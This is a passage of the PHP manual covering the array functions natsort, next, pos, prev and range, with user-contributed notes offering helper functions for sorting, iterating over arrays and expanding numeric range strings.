phpnet at moritz-abraham dot de 02-Sep-2004 02:09
additional to the code posted by justin at redwiredesign dot com (which I found very usefull) here is a function that sorts complex arrays like this:
<?
$array['test0'] = array('main' =>  'a', 'sub' => 'a');
$array['test2'] = array('main' =>  'a', 'sub' => 'b');
$array['test3'] = array('main' =>  'b', 'sub' => 'c');
$array['test1'] = array('main' =>  'a', 'sub' => 'c');
$array['test4'] = array('main' =>  'b', 'sub' => 'a');
$array['test5'] = array('main' =>  'b', 'sub' => 'b');
?>
or
<?
$array[0] = array('main' =>  1, 'sub' => 1);
$array[2] = array('main' =>  1, 'sub' => 2);
$array[3] = array('main' =>  2, 'sub' => 3);
$array[1] = array('main' =>  1, 'sub' => 3);
$array[4] = array('main' =>  2, 'sub' => 1);
$array[5] = array('main' =>  2, 'sub' => 2);
?>
on one or more columns.

the code
<? $array = array_natsort_list($array,'main','sub'); ?>
will result in $array being sortet like this:
test0,test2,test1,test4,test5,test3
or
0,2,1,4,5,3.

you may even submit more values to the function as it uses a variable parameter list. the function starts sorting on the last and the goes on until the first sorting column is reached.

to me it was very usefull for sorting a menu having submenus and even sub-submenus.

i hope it might help you too.

here is the function:
<?
function array_natsort_list($array) {
    // for all arguments without the first starting at end of list
    for ($i=func_num_args();$i>1;$i--) {
        // get column to sort by
        $sort_by = func_get_arg($i-1);
        // clear arrays
        $new_array = array();
        $temporary_array = array();
        // walk through original array
        foreach($array as $original_key => $original_value) {
            // and save only values
            $temporary_array[] = $original_value[$sort_by];
        }
        // sort array on values
        natsort($temporary_array);
        // delete double values
        $temporary_array = array_unique($temporary_array);
        // walk through temporary array
        foreach($temporary_array as $temporary_value) {
            // walk through original array
            foreach($array as $original_key => $original_value) {
                // and search for entries having the right value
                if($temporary_value == $original_value[$sort_by]) {
                    // save in new array
                    $new_array[$original_key] = $original_value;
                }
            }
        }
        // update original array
        $array = $new_array;
    }
    return $array;
}
?>
xlab AT adaptiveNOSPAMarts DOT net 15-Jan-2004 12:51
Under limited testing, natsort() appears to work well for IP addresses. For my needs, it is far less code than the ip2long()/long2ip() conversion I was using before.
mbirth at webwriters dot de 09-Jan-2004 12:31
For those who want to natsort a 2d-array on the first element of each sub-array, the following few lines should do the job.

<?php

function natsort2d(&$aryInput) {
  $aryTemp = $aryOut = array();
  foreach ($aryInput as $key=>$value) {
    reset($value);
    $aryTemp[$key]=current($value);
  }
  natsort($aryTemp);
  foreach ($aryTemp as $key=>$value) {
    $aryOut[] = $aryInput[$key];
  }
  $aryInput = $aryOut;
}

?>
rasmus at flajm dot com 14-Dec-2003 09:30
To make a reverse function, you can simply:

function rnatsort(&$a){
    natsort($a);
    $a = array_reverse($a, true);
}
justin at redwiredesign dot com 22-Aug-2003 10:10
One of the things I've needed to do lately is apply natural sorting to a complex array, e.g.:

Array
(
    [0] => Array
        (
            [ID] = 4
            [name] = Fred
        )

    [1] => Array
        (
            [ID] = 6
            [name] = Bob
        )
)

where I want to sort the parent array by the child's name. I couldn't see a way of doing this using array_walk, so I've written a simple function to do it. Hopefully someone will find this useful:

/**
 * @return Returns the array sorted as required
 * @param $aryData Array containing data to sort
 * @param $strIndex Name of column to use as an index
 * @param $strSortBy Column to sort the array by
 * @param $strSortType String containing either asc or desc [default to asc]
 * @desc Naturally sorts an array using by the column $strSortBy
 */
function array_natsort($aryData, $strIndex, $strSortBy, $strSortType=false)
{
    //    if the parameters are invalid
    if (!is_array($aryData) || !$strIndex || !$strSortBy)
        //    return the array
        return $aryData;

    //    create our temporary arrays
    $arySort = $aryResult = array();

    //    loop through the array
    foreach ($aryData as $aryRow)
        //    set up the value in the array
        $arySort[$aryRow[$strIndex]] = $aryRow[$strSortBy];

    //    apply the natural sort
    natsort($arySort);

    //    if the sort type is descending
    if ($strSortType=="desc")
        //    reverse the array
        arsort($arySort);

    //    loop through the sorted and original data
    foreach ($arySort as $arySortKey => $arySorted)
        foreach ($aryData as $aryOriginal)
            //    if the key matches
            if ($aryOriginal[$strIndex]==$arySortKey)
                //    add it to the output array
                array_push($aryResult, $aryOriginal);

    //    return the return
    return $aryResult;
}
flash at minet dot net 12-Aug-2003 10:27
About the reverse natsort.. Maybe simpler to do :

function strrnatcmp ($a, $b) {
    return strnatcmp ($b, $a);
}
dslicer at maine dot rr dot com 02-Jun-2003 06:41
Something that should probably be documented is the fact that both natsort and natcasesort maintain the key-value associations of the array. If you natsort a numerically indexed array, a for loop will not produce the sorted order; a foreach loop, however, will produce the sorted order, but the indices won't be in numeric order. If you want natsort and natcasesort to break the key-value associations, just use array_values on the sorted array, like so:

natsort($arr);
$arr = array_values($arr);
anonymous at coward dot net 31-May-2003 01:46
Reverse Natsort:

  function rnatsort($a, $b) {
    return -1 * strnatcmp($a, $b);
  }

  usort($arr, "rnatsort");
natcasesort
next
Array Functions


Advance the internal array pointer of an array

natsort
pos
Array Functions
PHP Manual

next

(PHP 4, PHP 5)

next — Advance the internal array pointer of an array

Description

mixed next ( array &$array )

next() behaves like current(), with one difference. It advances the internal array pointer one place forward before returning the element value. That means it returns the next array value and advances the internal array pointer by one.

Parameters

array

The array being affected.

Return Values

Returns the array value in the next place that's pointed to by the internal array pointer, or FALSE if there are no more elements.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 Example use of next() and friends

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = next($transport);    // $mode = 'car';
$mode = prev($transport);    // $mode = 'bike';
$mode = end($transport);     // $mode = 'plane';
?>

Notes

Note: You won't be able to distinguish the end of an array from a boolean FALSE element. To properly traverse an array which may contain FALSE elements, see the each() function.

See Also

  • current() - Return the current element in an array
  • end() - Set the internal pointer of an array to its last element
  • prev() - Rewind the internal array pointer
  • reset() - Set the internal pointer of an array to its first element
  • each() - Return the current key and value pair from an array and advance the array cursor

User Contributed Notes

double at dumpit dot de 08-Dec-2009 01:19
PHP: 5.2.10-2ubuntu6.3 (default apt-get installation on actual, see Date, jaunty 9.10 Ubuntu Distro - G33kWoRDs)

Have a look at your array pointer if you copy an array - the pointer will be copied, too.

For example if you got this construct:
<?php
    $array = array('zero','one','two','three','four','five','six','seven');
    $array2 = $array;
    next($array);
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 0
?>

But if you copy the array after you've setted the pointer, the pointer will be copied, too:
<?php
    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = $array;
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 1
?>

What's more is, that foreach not resetting the pointer after walk through:
<?php

    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = array();
    foreach($array AS $key => $value){
        echo $key;
        $array2[$key] = $value;
    }
    echo var_dump(key($array));
    echo key($array2);

    // will output for foreach:
    // 0 1 2 3 4 5 6 7
    // and for the keys
    // NULL
    // 0
?>

The php-functions seems to reset the pointer on the given position after walk through (i don't know the internal handling - there could be used a copy of the array, too):
<?php

    $array = array('zero','one','two','three','four','five','six','seven');
    next($array);
    $array2 = array_values($array);
    echo key($array);
    echo key($array2);

    // will output:
    // 1
    // 0
?>

There are a lot Methods like array_merge($array) that will neither reset the pointer of $array nor copy the pointer to $array2. Have a look on this.
I Hope this was a little helpfull.
ThinkMedical at Gmail dot com 02-Sep-2008 03:27
regarding references with foreach, you can use them directly. Obviating various posts which provide many lines of 'work arounds'.

$array = array(1,2,3,4,5);

foreach($array as &$value)

or use $key

foreach($array as $key => $value)
{
    $array[$key] = '...';
}
adityabhai [at] gmail com [Aditya Bhatt] 09-May-2008 05:14
<?php
class Steps {

    private $all;
    private $count;
    private $curr;

    public function __construct () {

      $this->count = 0;

    }

    public function add ($step) {

      $this->count++;
      $this->all[$this->count] = $step;

    }

    public function setCurrent ($step) {

      reset($this->all);
      for ($i=1; $i<=$this->count; $i++) {
        if ($this->all[$i]==$step) break;
        next($this->all);
      }
      $this->curr = current($this->all);

    }

    public function getCurrent () {

      return $this->curr;

    }

    public function getNext () {

      self::setCurrent($this->curr);
      return next($this->all);

    }

    public function getPrev () {

      self::setCurrent($this->curr);
      return prev($this->all);

    }

  }
?>

Demo Example:

<?php
   $steps = new Steps();
   $steps->add('1');
   $steps->add('2');
   $steps->add('3');
   $steps->add('4');
   $steps->add('5');
   $steps->add('6');
   $steps->setCurrent('4');
   echo $steps->getCurrent()."<br />";
   echo $steps->getNext()."<br />";
   echo $steps->getPrev()."<br />";
   $steps->setCurrent('2');
   echo $steps->getCurrent()."<br />";
   echo $steps->getNext()."<br />";
   echo $steps->getPrev()."<br />";
?>
darkside at i dot ua 11-Dec-2007 03:36
This class implements simple operations with array

<?php
class Steps {

    private $all;
    private $count;
    private $curr;

    public function __construct () {

      $this->count = 0;

    }

    public function add ($step) {

      $this->count++;
      $this->all[$this->count] = $step;

    }

    public function setCurrent ($step) {

      reset($this->all);
      for ($i=1; $i<=$this->count; $i++) {
        if ($this->all[$i]==$step) break;
        next($this->all);
      }
      $this->curr = current($this->all);

    }

    public function getCurrent () {

      return $this->curr;

    }

    public function getNext () {

      self::setCurrent($this->curr);
      return next($this->all);

    }

  }
?>

usage example:

<?php
   $steps = new Steps();
   $steps->add('one');
   $steps->add('two');
   $steps->add('three');
   $steps->setCurrent('one');
   echo $steps->getCurrent()."<br />";
   echo $steps->getNext()."<br />";
   $steps->setCurrent('two');
   echo $steps->getCurrent()."<br />";
   echo $steps->getNext()."<br />";
?>
gg2005 at gmail dot com 06-Feb-2007 01:32
Don't confuse next with continue!

If you're a Perl developer starting with PHP, you might try to use "next" inside a loop to skip to the next iteration...

i.e.,

foreach ($things as $thing) {
  if (something I don't like about $thing) {
   next;
  }
  blah....
}

The php compiler will take next... but it's not going to work.

Do this instead:
foreach ($things as $thing) {
  if (something I don't like about $thing) {
   continue;
  }
  blah....
}
GPatmore 12-Oct-2006 12:14
If your using a foreach loop, unless you for a reference, PHP will make a copy of the array to use it the loop.

So, when I need to take a different action for the last element in the array I use the following:

<?php
$ary  = explode(',','a,b,c,d,e,f,g');
foreach($ary as $a){
    print 'letter ' . $a;
    if(next($ary)){
        print '<br>';
    }else{
        print '<br>dun!';
    }
}
?>

Output:

letter a
letter b
letter c
letter d
letter e
letter f
letter g
dun!

NOTE::
PHP5 has added an ability to reference the variable in a foreach like:

<?php
foreach($ary as &$a){}
?>

this will probably cause undesired results when using the method above.

also if the array is changed in any way as to cause the length of the original array to become different then the copy, it will not work.
Consider the following example:

<?php
$ary  = explode(',','a,b,c,d,e,f,g');
foreach($ary as $a){
    print 'letter ' . $a;
    if(next($ary)){
        unset($ary[count($ary) - 1]);
        print '<br>';
    }else{
        print '<br>dun!';
    }
}
?>

output:

letter a
letter b
letter c
letter d
dun!letter e
dun!letter f
dun!letter g
dun!
tom at nono dot be 26-Jul-2006 04:19
I see some questions like "how can I know if an array has a next value without changing its internal pointer" and some pretty complicated responses that DO work mind you and in some cases you'll need them...

But suppose you just need a different action within a foreach loop when reaching the final item:
(it won't be usefull in every situation, but in most it will)

$numOfItems = count($someArray);
$counter = 0;
foreach ($someArray as $key => value){
    $counter += 1;
    if ($counter <> $numOfItems){
        //here all next items exist
   } else {
        //final item
   }
}
Sigmar 30-May-2006 03:02
And if you want to know if there are any array elements in array before given key, you can use this function:

function any_array_keys_before($keyname, &$array) {
    if (!is_array($array)) {
        return false;
    }
    if (empty($keyname)) {
        return false;
    }
    $set = false;
    $count = 0;
    foreach ($array as $key => $value) {
        if ($set === false && $key != $keyname) {
            $count ++;
        } else if ($key == $keyname) {
            $set = true;
        }
    }
    return $count > 0 ? true : false;
}
Sigmar 30-May-2006 02:52
If you want to check, if there are some more elements in array after given key, you can use the following function:

function more_array_keys($keyname, &$array) {
    if (!is_array($array)) {
        return false;
    }
    if (empty($keyname)) {
        return false;
    }
    $set = false;
    $count = 0;
    foreach ($array as $key => $value) {
        if ($set === true) {
            $count++;
        }
        if ($key == $keyname) {
            $set = true;
        }
    }
    return $count > 0 ? true : false;
}
tino at infeon dot com 13-May-2006 08:48
this may be handy and i didnt know where else to post it.. i need a simple function to cycle through an array i eventually made it into a class so i could have multiple cycles.. if you like it or find it usefull please email me and let me know

class Cycle
{
    var $position;
    var $dataArray;
    var $dataArrayCount;

    function Cycle()
    {
        $this->dataArray = func_get_args();
        $this->dataArrayCount = count($this->dataArray);
    }

    function Display()
    {
        $this->position = (!isset($this->position) || $this->position >= ($this->dataArrayCount - 1)) ? 0 : $this->position += 1;
        return $this->dataArray[$this->position];
    }

}

$bgColor = new Cycle('#000000', '#FFFFFF', '#FF0000');

echo $bgcolor->Display();
//returns #000000
echo $bgcolor->Display();
//returns #FFFFFF
echo $bgcolor->Display();
//returns #FF0000
echo $bgcolor->Display();
//returns #000000
brentimus 28-Apr-2005 10:10
Papipo's function below is usefull in concept but does not work.

"Since you do not pass the array by reference, its pointer is only moved inside the function."

This is true, but the array you are manipulating in your has_next() function will have it's pointer set to the first element, not the same position as the original array. What you want to do is pass the array to the has_next() function via reference. While in the has_next() function, make a copy of the array to work on. Find out the current pointer position of the original array and set the pointer on the working copy of the array to the same element. Then you may test to see if the array has a "next" element.

Try the followig insetad:

<?php
function has_next(&$array)
{
    $A_work=$array;  //$A_work is a copy of $array but with its internal pointer set to the first element.
    $PTR=current($array);
    array_set_pointer($A_work, $PTR);

    if(is_array($A_work))
    {
        if(next($A_work)===false)
            return false;
        else
            return true;
    }
    else
        return false;
}

function array_set_pointer(&$array, $value)
{
    reset($array);
    while($val=current($array))
    {
        if($val==$value)
            break;

        next($array);
    }
}
?>
papipo's gmail account 13-Oct-2004 01:47
I need to know if an array has more items, but without moving array's internail pointer. Thats is, a has_next() function:

<?php
function has_next($array) {
    if (is_array($array)) {
        if (next($array) === false) {
            return false;
        } else {
            return true;
        }
    } else {
        return false;
    }
}

$array = array('fruit', 'melon');
if (has_next($array)) {
    echo next($array);
}

// prints 'melon'
?>

Since you do not pass the array by reference, its pointer is only moved inside the function.
Hope that helps.
lukasz at karapuda dot com 18-Aug-2004 10:06
This function will return the previous,next neighbors of an array entry within an associative array. If the specified $key points to the last or first element of the array, the first or last keys of the array will be returned consecutively. This is an improved version of the same function posted earlier.

<?php
function array_neighbor($arr, $key)
{
   $keys = array_keys($arr);
   $keyIndexes = array_flip($keys);

   $return = array();
   if (isset($keys[$keyIndexes[$key]-1])) {
       $return[] = $keys[$keyIndexes[$key]-1];
   }
   else {
       $return[] = $keys[sizeof($keys)-1];
   }

   if (isset($keys[$keyIndexes[$key]+1])) {
       $return[] = $keys[$keyIndexes[$key]+1];
   }
   else {
       $return[] = $keys[0];
   }

   return $return;
}
?>
court shrock 20-May-2004 04:36
This code returns neighbors of the specified key.  The result will be empty if it doesn't have any neighbors.  My approach was to use the order of keys to determine neighbors, which is differnet from just getting the next/previous element in an array.  Feel free to point out stupidities :)

<?php

function array_neighbor($arr, $key)
{
    krsort($arr);
    $keys = array_keys($arr);
    $keyIndexes = array_flip($keys);

    $return = array();
    if (isset($keys[$keyIndexes[$key]-1]))
        $return[] = $keys[$keyIndexes[$key]-1];
    if (isset($keys[$keyIndexes[$key]+1]))
        $return[] = $keys[$keyIndexes[$key]+1];

    return $return;
}

?>
bm at ANTISPAM dot solidwave dot com 16-Apr-2004 09:49
Take care when replacing code using reset()/next() with code using foreach as foreach does not update the array's internal pointer.  This means you cannot, say, use next() to skip an element in foreach loop, or use current() within a function to get a reference to the current element.  You probably have code depending on this internal pointer and replacing it will be more work than you anticipated.

See http://www.php.net/foreach
natsort
pos
Array Functions


Alias of current

next
prev
Array Functions
PHP Manual

pos

(PHP 4, PHP 5)

pos — Alias of current()

Description

This function is an alias of: current()

User Contributed Notes

There are no user contributed notes for this page.
next
prev
Array Functions


Rewind the internal array pointer

pos
range
Array Functions
PHP Manual

prev

(PHP 4, PHP 5)

prev — Rewind the internal array pointer

Description

mixed prev ( array &$array )

Rewind the internal array pointer.

prev() behaves just like next(), except it rewinds the internal array pointer one place instead of advancing it.

Parameters

array

The input array.

Return Values

Returns the array value in the previous place that's pointed to by the internal array pointer, or FALSE if there are no more elements.

Examples

Example #1 Example use of prev() and friends

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = next($transport);    // $mode = 'car';
$mode = prev($transport);    // $mode = 'bike';
$mode = end($transport);     // $mode = 'plane';
?>

Notes

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Note: You won't be able to distinguish the beginning of an array from a boolean FALSE element. To properly traverse an array which may contain FALSE elements, see the each() function.

See Also

  • current() - Return the current element in an array
  • end() - Set the internal pointer of an array to its last element
  • next() - Advance the internal array pointer of an array
  • reset() - Set the internal pointer of an array to its first element
  • each() - Return the current key and value pair from an array and advance the array cursor

User Contributed Notes

soapergem at gmail dot com 29-May-2009 12:06
Here's a slight revision to xmlich02's backwards iteration example. The problem with his/her example is that it will halt if any of the array elements are boolean false, while this version will not.

<?php

end($ar);
while ( !is_null($key = key($ar)) ) {
    $val = current($ar);
    echo "{$key} => {$val}\n";
    prev($ar);
}

?>
xmlich02 at stud dot fit dot vutbr dot cz 29-Sep-2007 12:19
// example of backward iteration

$ar = array ( 'a', 'b', 'c', 'd', 'e', 'f') ;

print_r($ar);

end($ar);
while($val = current($ar)) {
  echo $val.' ';
  prev($ar);
}
pos
range
Array Functions


Create an array containing a range of elements

prev
reset
Array Functions
PHP Manual

range

(PHP 4, PHP 5)

range — Create an array containing a range of elements

Description

array range ( mixed $start , mixed $limit [, number $step = 1 ] )

Create an array containing a range of elements.

Parameters

start

First value of the sequence.

limit

The sequence is ended upon reaching the limit value.

step

If a step value is given, it will be used as the increment between elements in the sequence. step should be given as a positive number. If not specified, step will default to 1.

Return Values

Returns an array of elements from start to limit, inclusive.

Changelog

Version | Description
5.0.0 | The optional step parameter was added.
4.1.0 to 4.3.2 | In PHP versions 4.1.0 through 4.3.2, range() sees numeric strings as strings and not integers. Instead, they will be used for character sequences. For example, "4242" is treated as "4".
4.1.0 | Prior to PHP 4.1.0, range() only generated incrementing integer arrays. Support for character sequences and decrementing arrays was added in 4.1.0. Character sequence values are limited to a length of one. If a length greater than one is entered, only the first character is used.

Examples

Example #1 range() examples

<?php
// array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12)
foreach (range(0, 12) as $number) {
    echo $number;
}

// The step parameter was introduced in 5.0.0
// array(0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100)
foreach (range(0, 100, 10) as $number) {
    echo $number;
}

// Use of character sequences introduced in 4.1.0
// array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i');
foreach (range('a', 'i') as $letter) {
    echo $letter;
}
// array('c', 'b', 'a');
foreach (range('c', 'a') as $letter) {
    echo $letter;
}
?>

See Also

  • shuffle() - Shuffle an array
  • array_fill() - Fill an array with values
  • foreach

User Contributed Notes

Aram Kocharyan 27-Feb-2011 07:58
Here's a function to generate ranges from strings:

<?php

/*  Creates an array of integers based on a given range string of format "int - int"
    Eg. range_str('2 - 5'); */
function range_str($str) {
    preg_match('#(\\d+)\\s*-\\s*(\\d+)#', $str, $matches);
    if ( count($matches) == 3 ) {
        return range($matches[1], $matches[2]);
    }
    return FALSE;
}

// Test
$array = range_str(' 2 - 4 ');
print_r($array);

?>

This outputs:

Array
(
    [0] => 2
    [1] => 3
    [2] => 4
)
jay at NOspam dot myd3 dot com 29-Apr-2009 05:54
This is a modified version of thomas' range_string() function. It's simpler, cleaner, and more robust, but it lacks the advanced features his function had, hopefully it will be of assitance to someone.

Examples:

    input: "1, 2, 3, 4, 5, 6" --> output: 1, 2, 3, 4, 5, 6
    input: "1-6" --> output: 1, 2, 3, 4, 5, 6
    input: "1-6" --> output: 1, 2, 3, 4, 5, 6
    input: "1 - -6" --> output: 1, 2, 3, 4, 5, 6
    input: "0 - 0" --> output: 0
    input: "1, 4-6, 2" --> output: 1, 2, 4, 5, 6
    input: "6,3-1" --> output: 1, 2, 3, 6

<?php

define('RANGE_ARRAY_SORT', 1);
define('RANGE_ARRAY', 2);
define('RANGE_STRING_SORT', 3);
define('RANGE_STRING', 4);

function range_string($range_str, $output_type = RANGE_ARRAY_SORT)
{
    // Remove spaces and nother non-essential characters
    $find[]    = "/[^\d,\-]/";
    $replace[] = "";

    // Remove duplicate hyphens
    $find[]    = "/\-+/";
    $replace[] = "-";

    // Remove duplicate commas
    $find[]    = "/\,+/";
    $replace[] = ",";

    $range_str = preg_replace($find, $replace, $range_str);

    // Remove any commas or hypens from the end of the string
    $range_str = trim($range_str,",-");

    $range_out = array();
    $ranges    = explode(",", $range_str);

    foreach($ranges as $range)
    {

        if(is_numeric($range) || strlen($range) == 1)
        {
            // Just a number; add it to the list.
            $range_out[] = (int) $range;
        }
        else if(is_string($range))
        {

            // Is probably a range of values.
           $range_exp = preg_split("/(\D)/",$range,-1,PREG_SPLIT_DELIM_CAPTURE);

            $start = $range_exp[0];
            $end   = $range_exp[2];

            if($start > $end)
            {
                for($i = $start; $i >= $end; $i -= 1)
                {
                    $range_out[] = (int) $i;
                }
            }
            else
            {
                for($i = $start; $i <= $end; $i += 1)
                {
                    $range_out[] = (int) $i;
                }
            }

        }
    }

    switch ($output_type) {
        case RANGE_ARRAY_SORT:
            $range_out = array_unique($range_out);
            sort($range_out);

        case RANGE_ARRAY:
            return $range_out;
            break;

        case RANGE_STRING_SORT:
            $range_out = array_unique($range_out);
            sort($range_out);

        case RANGE_STRING:

        default:
            return implode(", ", $range_out);
            break;
    }
}

// Sample Usage:
$range = range_string("6, 3-1");

?>
thomas+php1 at tgohome dot com 30-Sep-2008 08:44
Range as a string. Items are separated with a comma; which can be in any of the following formats:

"1, 2, 3, 4, 5, 6" - output: 1, 2, 3, 4, 5, 6
"1 - 6"  - output: 1, 2, 3, 4, 5, 6
"1 -%2 6" - output: 1, 3, 5 (last number will not be counted unless it evenly fits in)
"1 - -6" - output: 1, 0, -1, -2, -3, -4, -5, -6
"0 - 0" - output: 0
"1, 2, 3, [LAST_NUM] - 6" - output: 1, 2, 3, 3, 4, 5, 6 (note repeated 3)
"1, 2, 3, [LAST_NUM+1] - 6" - output: 1, 2, 3, 4, 5, 6 (no repeated 3)
"1, 2, 3, [LAST_NUM+-1] - 6" - output: 1, 2, 3, 2, 3, 4, 5, 6

<?php

define('RANGE_ARRAY', 1);
define('RANGE_STRING', 2);

function range_string($range_str, $output_type = RANGE_ARRAY)
{
    $range_out = array();
    $ranges = explode(",", $range_str);

    $last_num = 0;

    foreach($ranges as $range)
    {
        $step = 1;
        $range = trim($range);

        if(is_numeric($range))
        {
            // Just a number; add it to the list.
            $range_out[] = $range;
            $last_num = $range;
        }
        else if(is_string($range))
        {
            // Figure out if it is just a character.
            if(strlen($range) == 1)
            {
                $range_out[] = (string)$range;
                $last_num = 0;
            }
            else
            {
                // Is probably a range of values.
                $range_exp = explode(" ", $range);

                if(substr($range_exp[1], 0, 1) == '-' && !is_numeric(substr($range_exp[1], 0, 1)))
                {
                    // Jumping range?
                    $jump = str_split($range_exp[1], 1);

                    if(count($jump) > 0)
                    {
                        if($jump[1] == '%')
                        {
                            $step = substr($range_exp[1], 2);
                        }
                    }
                    else
                    {
                        // Normal range.
                        $step = 1;
                    }
                }
                else
                {
                    $step = 1;
                }

                if($range_exp[0] == '[LAST_NUM]')
                {
                    $start = $last_num;
                }
                else
                {
                    $exp = explode("+", $range_exp[0]);

                    if($exp[0] == '[LAST_NUM')
                    {
                        $start = $last_num + trim($exp[1], ']');
                    }
                    else
                    {
                        $start = $range_exp[0];
                    }
                }

                $end = $range_exp[2];

                if($start > $end)
                {
                    for($i = $start; $i >= $end; $i -= $step)
                    {
                        $range_out[] = $i;
                    }

                    $last_num = $i;
                }
                else
                {
                    for($i = $start; $i <= $end; $i += $step)
                    {
                        $range_out[] = $i;
                    }

                    $last_num = $i;
                }

                // echo $step . ", ";
            }
        }
    }

    if($output_type == RANGE_ARRAY)
    {
        return $range_out;
    }
    else
    {
        return implode(", ", $range_out);
    }
}

echo range_string("1, 2, 3, [LAST_NUM+1] - 6", RANGE_STRING);

?>
ThinkMedical at Gmail dot com 26-Aug-2008 05:11
foreach(range()) whilst efficiant in other languages, such as python, it is not (compared to a for) in php*.

php is a C-inspired language and thus for is entirely in-keeping with the lanuage aethetic to use it

<?php
//efficiant
for($i = $start; $i < $end; $i+=$step)
{
        //do something with array
}

//inefficiant
foreach(range($start, $end, $step) as $i)
{
        //do something with array
}
?>

That the officiant documentation doesnt mention the for loop is strange.

Note however, that in PHP5 foreach is faster than for when iterating without incrementing a variable.

* My tests using microtime and 100 000 iterations consistently (~10 times) show that for is 4x faster than foreach(range()).
captvanhalen at gmail dot com 27-Mar-2008 10:33
Here is a home rolled range() function that uses the step feature for those unfortunate souls who cannot use PHP5:

<?php
function my_range( $start, $end, $step = 1) {

    $range = array();

    foreach (range( $start, $end ) as $index) {

        if (! (($index - $start) % $step) ) {
            $range[] = $index;
        }
    }

    return $range;
}
?>
chris at laflash dot org 09-May-2007 04:47
Quick HTML menus with minimum and maximum sets of years:

<?php
    /*
    ** Quick HTML menus with minimum and maximum sets of years.
    ** @author Chris Charlton <chris@laflash.org>
    ** @license FREE!
    */

    // Years range setup
    $year_built_min = 1900;
    $year_built_max = date("Y");
?>
<select id="yearBuiltMin" size="1">
    <?php // Generate minimum years

        foreach (range($year_built_min, $year_built_max) as $year) { ?>
        <option value="<?php echo($year); ?>"><?php echo($year); ?></option>
        <?php } ?>
</select>

<select id="yearBuiltMax" size="1">
      <?php // Generate max years

        foreach (range($year_built_max, $year_built_min) as $year) { ?>
        <option value="<?php echo($year); ?>"><?php echo($year); ?></option>
        <?php } ?>
</select>
m0sh3 at hotmail dot com 01-Mar-2007 05:46
Here's how i use it to check if array is associative or not:

<?php

if (array_keys($arr)===range(0, sizeof($arr)-1)) {
// not associative array

} else {
// associative array

}

?>
manuel at levante dot de 07-Nov-2006 05:25
<?php
function srange ($s) {
  preg_match_all("/([0-9]{1,2})-?([0-9]{0,2}) ?,?;?/", $s, $a);
  $n = array ();
  foreach ($a[1] as $k => $v) {
    $n  = array_merge ($n, range ($v, (empty($a[2][$k])?$v:$a[2][$k])));
  }
  return ($n);
}

$s = '1-4 6-7 9-10';
print_r(srange($s));
?>

Return:
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 6
    [5] => 7
    [6] => 9
    [7] => 10
)
subscription101 at hotmail dot com 08-Jan-2006 06:36
A much simpler way of creating a range of even numbers is by starting with an even number:

<?php

    range(2, 10, 2);

?>
emory underscore smith at hotmail 20-Aug-2005 07:53
since its not stated explicitly above, thought id point out that you arent limited to using integers.

however, be careful when doing so, as you might not get the range you expect!

to illustrate:

<?php
$am = range(500,1600,10);
$fm = range(88.1,107.9,.2);
print_r($am);
print_r($fm);
?>

print_r($am) yields the expected result:

Array
(
    [0] => 500
    [1] => 510
    [2] => 520
    ...
    [109] => 1590
    [110] => 1600
)

print_r($fm), however, falls a bit (1%) short:

Array
(
    [0] => 88.1
    [1] => 88.3
    [2] => 88.5
    ...
    [97] => 107.5
    [98] => 107.7
)

so, if you want to use a non-integral step size params for numeric ranges, be sure to account for fp representation accuracy and error accumulation; a step size of something like pi or 1/10 could spell disaster for a large range. if in doubt, use integral steps and divide ... something like <?php range(88.1,108,.2) ?> might work to recover 107.9, but would not be scalable like, say <?php array_map(create_function('$x','return $x/10;'),range(881,1079,2)) ?>.

-emory
derek at php dot net 08-May-2005 06:13
This should emulate range() a little better.
<?php
function range_wroar($low, $high, $step = 1) {
    $arr = array();
    $step = (abs($step)>0)?abs($step):1;
    $sign = ($low<=$high)?1:-1;
    if(is_numeric($low) && is_numeric($high)) {
        //numeric sequence
        for ($i = (float)$low; $i*$sign <= $high*$sign; $i += $step*$sign)
            $arr[] = $i;
    }    else    {
        //character sequence
        if (is_numeric($low))
            return $this->range($low, 0, $step);
        if (is_numeric($high))
            return $this->range(0, $high, $step);
        $low = ord($low);
        $high = ord($high);
        for ($i = $low; $i*$sign <= $high*$sign; $i += $step*$sign) {

            $arr[] = chr($i);
        }
    }
    return $arr;
}
?>
j dot gizmo at aon dot at 23-Sep-2004 04:23
i figured i'd add some more functionality to the myRange() functions below.
now you can, besides giving a $step parameter,
1. count backwards
2. count with letters
3. give whatever parameter you want, there's nothing (i know of) that will cause an endless loop (try a negative $step for the previous function....)

<?php
function myRange($num1, $num2, $step=1)
{
    if (is_numeric($num1) && is_numeric($num2))
    {
        //we have a numeric range
        $step = ( abs($step)>0 ? abs($step) : 1 ); //make $step positive
        $dir = ($num1<=$num2 ? 1 : -1); //get the direction
        for($i = (float)$num1; $i*$dir <= $num2*$dir; $i += $step*$dir)
        {
            $temp[] = $i;
        }
    }
    else
    {
        //we have a character range
        $num1=ord((string)$num1); //convert to ascii value
        $num2=ord((string)$num2);
        $step = ( abs($step)>0 ? abs($step) : 1 ); //make $step positive
        $dir = ($num1<=$num2 ? 1 : -1); //get direction
        for($i = $num1; $i*$dir <= $num2*$dir; $i += $step*$dir)
        {
            $temp[] = chr($i);
        }
    }
    return $temp;
}

print_r(myRange( 1, 3, 0.5 )); //you can use fractional steps
print_r(myRange( "a", "k", 3 )); //or count letters
print_r(myRange( "5", "9" )); //numbers are detected even if hidden in strtings
print_r(myRange( "!", "%", 1/pi() )); //or mess around with senseless parameters

?>
donwilson at gmail dot com 31-Aug-2004 09:38
To speed your MyRange() function, I have created a much nicer function with less code to sift through to include the step parameter.

<?php
